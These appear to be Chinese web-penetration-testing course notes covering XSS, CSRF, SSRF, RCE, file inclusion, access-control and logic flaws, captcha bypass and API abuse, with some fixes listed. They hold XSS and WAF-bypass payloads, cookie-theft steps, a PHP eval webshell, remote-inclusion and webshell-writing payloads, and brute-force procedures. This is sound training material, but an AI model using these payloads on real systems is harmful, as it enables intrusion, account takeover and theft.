赞
踩
XSS 跨站漏洞产生原理,危害,特点?
1.本质
跨站脚本攻击是指攻击者往Web页面里插入恶意Script代码,当用户浏览该页时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击的目的
2.产生层面
前端
3.函数类
输出类函数
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export
4.漏洞操作对应层
前端
5.危害影响
受Javascript代码影响
6.浏览器内核版本等
浏览器安全策略可能会阻止Js脚本执行
7.XSS 跨站漏洞分类:反射,存储,DOM
从产生层面,具体区别,危害等级等讲解
8.反射,又叫非持续型
是一个交互的过程,通过特别的包含Js代码的访问,使页面执行相应的Js代码
需要访问特定内容,或访问特定的链接才可以触发
9.储存,又叫持续型
与反射型相比,访问提交的Js代码被储存进了网站的数据库
每一个访问该页面的人都会触发代码执行,危害更大
10.DOM
文档对象模型(Document Object Model),简称DOM,代码在前端,常用于更新当前页面
客户端的脚本程序可以通过DOM动态地检查和修改页面内容,且不依赖与服务器端的交互,而是从客户端获得DOM中的数据在本地执行
如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞
DOM型一般属于反射型
测试代码:#’ oncli删掉这串汉字ck=“alert(2)”>
11.上传有长度限制
如果输入的信息会上传到地址栏。可以直接在地址栏输入
审查元素,修改“maxlength”也就是长度限制
12.XSS 常规攻击手法:
平台,工具,结合其他等
利用案例:通过在线留言、在线下单等功能进行跨站攻击,窃取管理员的cookie,登陆后台
13.cookie session
用户凭据:通过凭据可以判断对方身份信息
cookie 存储在本地 存活时间较长 小中型
session 会话 存储在服务器 存活时间较短 大型
涉及资源:
xss平台:https://xss8.cc/xss.php?do=login
xss平台:https://xsshs.cn/xss.php?do=login
xss-labs:https://github.com/do0dl3/xss-labs
随意多功能留言板 SyGuestBook:http://down.chinaz.com/soft/37581.html
XSS 平台及工具使用
1.Postman:自定义发包
注册后可以看历史记录
可以选择当前的提交方式,在提交方式后填入网址
点“Headers”选择输入一个KEY值,名字叫“Cookie”,Cookie的值输入到“VALUE”里,并勾选
点击“Send”发包,可以在“Body”里的“Preview”查看图形界面
2.Webshell后门箱子
Webshell 后门中的后门
3.beef
启动beef:beef -xss
beef启动后会弹出一个地址,访问该网址,输入账号密码beef/beef登录
复制命令行界面“Example”中的一句话,提交给攻击目标
地址左边的Hooked Browsers会列出受控的服务器,右边的Commands会列出beef的功能
4.手写
跨站攻击常见于:
留言板、评论区、订单系统、建议反馈等
如果对方采用session验证,那么采取cookie盗取攻击是无效的
**解决办法:**利用跨站漏洞访问phpinfo这个文件,读取到里面“HTTP_COOKIE”的“PHPSESSID”的值
涉及资源:
XSS在线靶场:http://xss.fbisb.com/
webshell收集项目:https://github.com/tennc/webshell
postman:https://www.postman.com/
什么是HttpOnly
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击。
如何获取后台权限
1.cookie获取进入后台
2.直接账号密码登录
如何获取账号密码
1.没保存读取
表单劫持
表单劫持功能,表单劫持需要登录框处有跨站漏洞才行
2.保存读取
读取保存数据
配置,勾选“获取浏览器记住的明文密码”,参数与网站源代码对应
XSS案例
皆来自xss-labs
Level1
网页上“欢迎用户”字符后面的内容与网址中“name”等于的值相等
将name后面的值改为一般测试语句“<scr删掉这串汉字ipt>alert(1)”
Level2
使用了htmlspecialchars()函数,会转换特殊字符(<>)导致JS语句失效
变量“value”也接收了语句,由于在引号内失效
闭合“value”的引号“”><scr删掉这串汉字ipt>alert(1)”
Level3
对尖括号过滤,但是在搜索框里
HTML onclick事件属性:当点击按钮时执行一段JavaScript
“’ οnclick=’alert(1)”,点击搜索框
用移动鼠标的事件也可以
Level4
与第三关类似
“” οnclick=”alert(1)”,点击搜索框
Level5
将“on”替换为“o_n”,将“<script”替换为“<scr_ipt”
借助地址超链接协议
“”>”,会出现一个超链接,点击通过
Level6
用第五关同样的方法过滤了“<script”“on”“src”“data”“href”
可以利用大小写绕过
“”>”,会出现一个超链接,点击通过
Level7
过滤了“script”“on”“src”“data”“href”,同时过滤大小写
利用循环来绕过
“”>”,会出现一个超链接,点击通过
Level8
过滤了“script”“on”“src”“data”“href”“””,同时过滤大小写
转换成Unicode编码绕过
将“javascript:alert(1)”转换为Unicode编码,点击超链接,通过
Level9
没有“http://”都拦截,然后是过滤
将“javascript:alert(1)”转换为Unicode编码,后面加上“//http://”,即被注释掉的“http://”
Level10
隐藏了表单属性值
在页面查看源代码,发现有“t_link”“t_history”“t_sort”三个带有标签,可能是自变量。可以试试看能否将其type属性改为“text”。
type="text"是为了构造一个文本框,用来触发onclick事件。
这里除“keyword”外每一项都需要闭合引号,“keyword”暂时用不上。
将地址改为“?keyword=1&t_link=" type=“text”&t_history=" type=“text”&t_sort=" type=“text””
发现只有“t_sort”可以改为text型,也就是说“t_sort”可以作为文本框,来触发onclick事件。
将地址改为“?keyword=1&t_sort=" type=“text” οnclick=”alert(1)”
似乎这里直接将HTML代码中的“hidden”删了也可以
Level11
隐藏了表单属性值
依旧可以给“t_sort”的“value”赋值,但值受到htmlspecialchars()函数处理,无法改变“type”
t_ref的值来自$_SERVER[‘HTTP_REFERER’],可以通过burpsuite来添加,使t_ref成为文本框
Level12
跟第十一关类似,t_ua的value值来自数据包中User-Agent的值
csrf跨站请求伪造
1.跨站点脚本攻击
2.检测来源,同源策略
3.是否同一域名,防止来自其他域名的命令影响本域名的安全
涉及资源:
xss-labs:https://github.com/do0dl3/xss-labs
超级加解密转换工具:https://www.cr173.com/soft/21692.html
什么是HttpOnly:https://www.oschina.net/question/100267_65116
经典的分析思路
关键字拆分,确定被拦截的内容
常规WAF绕过思路
1.标签语法替换
利用不同的操作语句实现,比如超链接“a hrer=”恶意代码””,图片错误“img src=”xxx” οnerrοr=”恶意代码””
2.特殊符号干扰
用引号括起网址代替闭合用的后尖括号
用引号括起网址后,在后引号和后尖括号间加入特殊符号(如井号“#”)
利用“/”将“a href”变为“a /href”
3.提交方式更改
更改提交方式,需要页面支持
4.垃圾数据溢出
用引号括起网址后,在后引号和后尖括号间加入垃圾字符
5.加密解密算法
例:?name=<a/href=Java%0a%0d%09script:alert(1)>click\
6.结合其他漏洞绕过
自动化工具说明
XSStrike:(python3)
主要特点反射和DOM XSS扫描
多线程爬虫
Context分析
检测和规避WAF
参数说明
-h, --help //显示帮助信息
-u, --url //指定目标URL
–data //POST方式提交内容
-v, --verbose //详细输出
-f, --file //加载自定义paload字典
-t, --threads //定义线程数
-l, --level //爬行深度
-t, --encode //定义payload编码方式
–json //将POST数据视为JSON
–path //测试URL路径组件
–seeds //从文件中测试、抓取URL
–fuzzer //测试过滤器和Web应用程序防火墙。
–update //更新
–timeout //设置超时时间
–params //指定参数
–crawl //爬行
–proxy //使用代理
–blind //盲测试
–skip //跳过确认提示
–skip-dom //跳过DOM扫描
–headers //提供HTTP标头
-d, --delay //设置延迟
fuzz字典配合burp suite
抓取数据包,发送到Intruder模式下
在Positions添加变量,在Payloads中载入“Load…”字典
在Results中根据长度“Length”判断是否拦截
安全修复方案
使用waf,开启 httponly,输入过滤,输出过滤等
PHP:http://www.zuimoge.com/212.html
JAVA:https://www.cnblogs.com/baixiansheng/p/9001522.html
JAVA XSS平台练习
https://gitee.com/yhtmxl/imxss/
涉及资源:
基于Java的Xss漏洞测试平台:https://gitee.com/yhtmxl/imxss/
xwaf:https://github.com/3xp10it/xwaf
XSS Fuzzer:https://xssfuzzer.com/fuzzer.html
XSStrike:https://github.com/s0md3v/XSStrike
绕过XSS检测机制:https://bbs.pediy.com/thread-250852.html
fuzzDicts(Fuzz字典):https://github.com/TheKingOfDuck/fuzzDicts
PHP(被阻断):http://www.zuimoge.com/212.html
关于XSS漏洞修复(JAVA):https://www.cnblogs.com/baixiansheng/p/9001522.html
CSRF漏洞解释,原理等
CSRF(跨站请求伪造)
攻击者通过技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作。由于浏览器曾经认证过,所以被访问的网站会认为是用户本人的操作而去运行
简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户发出的
CSRF漏洞检测,案例,防御等
案例:以更改个人信息为例
用户在某网站登录
攻击者知道该网站相关数据包的构成(通过抓包等方法)
攻击者在自己的服务器上构建一个更改用户个人信息的数据包的链接
此时用户未退出该网站,又访问了攻击者的构建的链接,导致修改个人信息的数据包被触发
用户的个人信息遭到篡改
漏洞检测
找到网站能修改信息并更新的功能测试
修改并用burpsuite抓包
burpsuite右键“Engagement tools”“Generate CSRF PoC”
修改一下信息,并将下面的“CSRF HTML”复制出来
在个人服务器上进行如同上述案例一样的测试
防御方案
1、当用户发送重要的请求时需要输入原始密码
2、设置随机Token,检测数据包唯一性,最有效
3、检验referer来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4、设置验证码
5、限制请求方式只能为POST
SSRF漏洞解释,原理等
SSRF(Server-Side Request Forgery 服务器端请求伪造)
目标是从外网无法访问的内部系统
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
SSRF漏洞检测,案例,防御等
**案例:**以远程上传,内网有一台192.168.64.144为例
远程上传意味着可以通过“http://www.xxx.com/xxx.jpg”来上传图片
将输入的地址写成“http://127.0.0.1”,那么服务器将请求本地,HTTP协议还会探测本地端口是否开放
请求“http://127.0.0.1:3306”,链接对方的MySQL数据库,会返回信息
简单遍历内网地址,以确定内网主机
请求“http://192.168.64.144:3306”,链接内网的MySQL数据库,会返回信息
**该漏洞常用协议:**http,file,dict,ftp,gopher等
**漏洞攻击:**端口扫描,指纹识别,漏洞利用,内网探针等
协议使用案例
http://192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
涉及资源:
SSRF漏洞(原理&绕过姿势):https://www.t00ls.net/articles-41070.html
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。
比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
代码执行RCE漏洞
原理,攻击,检测,危害,修复等
不安全的使用了代码调用代码或命令执行函数
命令执行RCE漏洞
原理,攻击,检测,危害,修复等
不安全的使用了调用系统命令
漏洞形成条件
1.可控变量:可以通过网址上的传参实现改变变量值
2.漏洞函数:使用什么函数,造成什么漏洞
手工检测漏洞的方法
1.参数值存在与网站脚本有关的内容,如“echo”
2.功能跟执行命令有关
RCE漏洞产生相关性函数
禁用这些函数或对变量进行过滤
代码执行函数
eval()
assert()
call_user_func_array()
array_map()
命令执行函数
system()
exec()
shell_exec()
passthru()
pcntl_exec()
`` 反引号
案例知识点
1.通过数据包或改变网址的字母大小写来判断服务器系统。
2.借助管道符“|”一次执行多条命令
3.可以通过禁用JS或者抓包改数据包来绕过前端检测(burpsuite postman)
4.在Linux系统中,系统会尝试将反引号中的内容当作一个命令执行
一句话 Webshell 后门原理:代码执行
<?php @eval ($_POST[‘chopper’]);?>借助eval()函数产生一个代码执行漏洞;
“@”在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。
涉及资源:
JAVA web网站代码审计--入门:https://www.cnblogs.com/ermei/p/6689005.html
PHP 远程代码执行漏洞复现(CVE-2019-11043):
http://blog.leanote.com/post/snowming/9da184ef24bd
墨者学院-PHP代码分析溯源(第4题):
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
墨者学院-命令注入执行分析:
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
墨者学院-Webmin未经身份验证的远程代码执行:
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe
文件包含漏洞
原理,检测,类型,利用,修复等
借由文件包含,将指定文件里的内容当作脚本代码执行
手工检测:
1.看网址后面的参数值是不是文件或类似文件名的命名;
2.看功能是否跟文件包含有关。
文件包含各个脚本代码
ASP,PHP,JSP,ASPX等
<c:import url=”http://thief.one/1.jsp”>
<jsp:include page=”head.jsp”/>
<%@ include file=”head.jsp”%>
<?php Include(‘test.php’)?>本地包含-无限制,有限制
include($filename);
http://127.0.0.1:8080/include.php?filename=1.txt
http://127.0.0.1:8080/include.php?filename=…/…/…/www.txt
绕过限制
include($filename.”.html”);
%00截断:条件:magic_quotes_gpc = off,php版本<5.3.4,例:
?filename=…/…/…/www.txt%00
长度截断:名字过长,导致后面的“.html”无法正确的加在字符串的后面,类似垃圾数据
条件:Windows,点号需要长于256;Linux,长于4096,例:
?filename=…/…/…/www.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././
远程包含
看代码和开发平台有没有限制,如PHP中就有allow_url_include开关
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
**各种协议流玩法:**https://www.cnblogs.com/endust/p/11804787.html
语句案例:
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system(‘ver’)?>
<?php fputs(fopen(‘s.php’,’w’),’<?php @eval($_POST[cmd])?>’);?>http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>
文件包含的思路
1.是否为远程包含
2.是否能上传文件到服务器里面
3.包含原始文件中能操作的文件,如日志文件
涉及资源:
春秋-CTF训练:https://www.ichunqiu.com/battalion?t=1&r=0
南邮竞赛题:http://4.chinalover.sinaapp.com/web7/index.php
php伪协议:https://www.cnblogs.com/endust/p/11804767.html
文件下载,读取
原理,检测,利用,修复等
利用
1.数据库配置文件下载或读取后续
2.接口密匙信息文件下载或读取后续
测试位置
存在下载或读取功能的位置
下载或读取的文件
1.配置文件(数据库,平台,各种等)
2.默认文件(指系统文件)
敏感文件位置获取
1.扫描工具爬行或扫描地址
2.下载好的文件代码中分析路径和包含文件获取
文件名,参数值,目录符号
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
…/ …\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF=、WEB-INF
文件被解析,则是文件包含漏洞
显示源代码,则是文件读取漏洞
提示文件下载,则是文件下载漏洞
涉及资源:
小米路由器远程任意文件读取漏洞(CVE-2019-18371):
https://www.seebug.org/vuldb/ssvid-98122
春秋-CTF训练-“百度杯”CTF比赛 2017 二月场:
https://www.ichunqiu.com/battalion?t=1&r=57475
javaWeb实现文件下载:https://blog.csdn.net/Cheng_May/article/details/78600833
RoarCTF考题(需登录):https://buuoj.cn/challenges#%5BRoarCTF%202019%5DEasy%20Java
1.垂直越权访问
普通用户->计划专员->超级查看员->超级管理员
2.水平越权访问
用户A->用户B->用户C->用户D
水平越权,垂直越权,未授权访问
解释,原理,检测,利用,防御等
解释
水平:通过更换的某个ID之类的身份标识,从而使A账号获取(修改、删除等)B账号数据(A、B是同一级别水平的用户)。
垂直:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
未授权:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。
原理
前端造成:界面
根据用户权限,显示不同的网页。即普通用户与管理员使用相同页面,只是部分内容对普通用户隐藏
应该在操作功能时判断权限,决定给不给与执行,而不是在显示页面时,且只隐藏网页内容
后端造成:数据库
在user表(管理员和普通用户同表)中使用一项数据的值(如usertype、groupid)判断用户的权限
检测
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,这是测试越权漏洞的基本
获取高权限操作的数据包
1.修改当前页面的数据包实现越权,用于当前页面有对应选项但无操作权限时
2.下载网站源码,本地搭建,模拟抓取
修复防御方案
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
工具:secscan-authcheck
中通开发,开源,需要docker部署
工具:小米范
代理抓包,并自带浏览器
burpsuite插件:AuthMatrix
需要安装Jython
burpsuite插件:Authz
高版本可以使用自带的商店下载,
在“Extender”的“BApp Store”选项卡下,找到“Authz”,“install”
抓取需要测试的数据包,右键发送到“Intruder”,设置Payload
“Intruder”“Start attack”把结果发送到“Authz”
设置“Cookie”为测试数据包的
选取要测试的数据包,右键“Run Selected Request(s)”
在下面会显示结果,绿的有漏洞,白的安全
涉及资源:
secscan-authcheck(越权检测工具):https://github.com/ztosec/secscan-authcheck
墨者学院-身份认证失效漏洞实战:
https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe
登录应用功能点安全问题
检测,危害,修复方案等
检测
存在登录功能的位置
危害
不用账号密码,直接登录
登陆点越权方法
登录点暴力破解
如果数据包传输的账号密码没有加密或加密方式已知,可以尝试暴力破解
HTTP/HTTPS传输
HTTPS会采用加密传输,HTTP不一定
Cookie脆弱点验证
代码审计
看看Cookie有无可操作的值,调整那些跟你登录页面有关的项,看是否会影响功能。如修改“user”的值
Session固定点测试
验证密文比对安全测试
burpsuite给爆破字典加密
常规爆破的操作:抓包,设置payload,选择字典
在“Payload Processing”中添加对应的加密方法,如:“Hash”“MD5”,注意要确保勾选
数据篡改安全问题
原理,检测,危害,修复等
一般用于商品购买
参考:https://www.secpulse.com/archives/67080.html
商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
常见篡改参数:
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等
常见修改方法:
替换支付(修改支付接口),重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
替换支付(修改支付接口)
网页根据返回值确定要调用的支付接口,可以尝试调用第三方接口
源码:$ pay_name=$_GET[‘s’];
index.php?s=/wap/pay/wchatQrcodePay 微信支付
index.php?s=/wap/pay/alipay 支付宝支付
index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口
数据篡改原理
以接收值为准,而非以数据库的数据值为准
没有token验证数据包的唯一性
涉及资源:
挖洞技巧:支付漏洞之总结:https://www.secpulse.com/archives/67080.html
Z-Blog:https://www.zblogcn.com/zblogphp/
password_brute_dictionary(字典):https://github.com/huyuanzhi2/password_brute_dictionary
找回重置机制
**客户端回显:**验证码在客户端的浏览器或数据包中可以看到
**Response状态值:**页面通过该值返回输入的验证码的对错,可以修改数据包中的值
**验证码爆破:**如果验证码范围不大,验证码有效时间足够,没有次数限制,则可以尝试
**找回流程绕过:**发送验证码-验证-重置密码,绕过验证码验证,直接请求下一步
接口调用乱用
短信轰炸,来电轰炸(呼死你原理)等,违法
burpsuite修改返回的数据包
右键,选择“Do intercept”“Response to this request”。之后会抓返回的数据包
抓包,修改
涉及资源:
墨者学院-登录密码重置漏洞分析溯源:
https://www.mozhe.cn/bug/detail/K2sxTTVYaWNncUE1cTdyNXIyTklHdz09bW96aGUmozhe
验证码安全
**分类:**图片,手机或邮箱,语音,视频,操作(如鼠标滑过)等
**原理:**验证生成或验证过程中的逻辑问题
**危害:**账户权限泄漏,短信轰炸,遍历,任意用户操作等
**漏洞:**客户端回显,验证码复用,验证码爆破,绕过等
token安全
基本上述同理,主要是验证中可存在绕过可继续后续测试
token爆破,token客户端回显等
验证码识别插件工具使用
Pkav_HTTP_Fuzz
使用方法:
右键选择验证码“复制图片地址”,访问图片地址
抓取图片地址的数据包:右键“审查元素”“Network”,刷新一下
找到请求数据包“Request Headers”复制GET,Host和Cookie之间的部分
打开工具,选择“图片型验证码识别”
将复制内容添加到“其他请求头部”,在填写“验证码地址”
根据需要调整参数、引擎等,点击“识别测试”
缺点:
缺少接口,只能加载能够下载的识别库
只能识别简单的验证码
只能使用自带的发包器,不能结合到burpsuite上
captcha-killer
添加方法:
burpsuite选择“Extender”“Extensions”,“Add”,在“Extension file(.jar)”中选择下载好的插件文件
使用方法:
使用burpsuite抓包,右键发送到“captcha-killer”“Send to captcha panel”
接口URL填识别平台的接口地址
开始识别
爆破时使用该插件:“Attack type”选择“Pitchfork”,“Payload type”选择“Extension-generated”,“Extension payload generator”选择“captcha-killer”。不要多线程
reCAPTCHA
添加方法:
添加插件,跟captcha-killer一样
reCAPTCHA是一款老牌插件,captcha-killer是基于reCAPTCHA设计的
验证码复用
正常提交,确定验证码正确和错误时的返回语句
提交一个验证码正确的数据包,并抓包
右键发送到“Repeater”,然后提交“Go”
修改数据包中的账号密码等参数,再次提交,看验证码部分是否报错
前端验证码绕过
抓包,再发送(这样就可以绕过本地验证)
Token的定义
Token是服务端生成的一串字符串。当客户端第一次登录后,服务器生成一个Token并将此Token返回给客户端,Token可以代替用户名和密码作为身份的验证。
每次客户端与服务器端通信,会得到新的Token
Token暴力破解
抓包,发送到“Intruder”,将密码和token的值设为变量,“Attack type”选择“Pitchfork”
转到“Payloads”页,“Payload set”改为1,代表密码,为密码添加字典
将“Payload set”改为2,代表token
转到“Options”页,将“Number of threads”设为1,将“Redirections”设为“Always”
“Grep-Extract”“Add”在下方找到token的值,并选择它(把返回的token值用于下次发包)
回到“Options”页,“Payload type”选择“Recursive grep”
“Intruder”“Start attack”
接口安全问题
使用callback相当于回调,需要取数据,可能会符合一些漏洞的条件,形成安全问题
调用,遍历,未授权,篡改等
调用案例:短信轰炸
遍历案列:UID等遍历
callback回调JSONP
查找接口问题
在目标网站抓包,右键“Send to Spider”(爬取数据包)
输入或不输入账号密码
在“Target”页会展示对应的网站结构
在“Proxy”“History”里会有爬虫请求和回显结果
单击空白处,唤出查找框。通过此方式快速查找含有某个参数的数据包
burpsuite也自带扫描功能
涉及资源:
使用burp插件captcha-killer识别图片验证码:
https://www.cnblogs.com/nul1/p/12071115.html
captcha-killer:https://github.com/c0ny1/captcha-killer/releases/tag/0.1.2
reCAPTCHA:https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。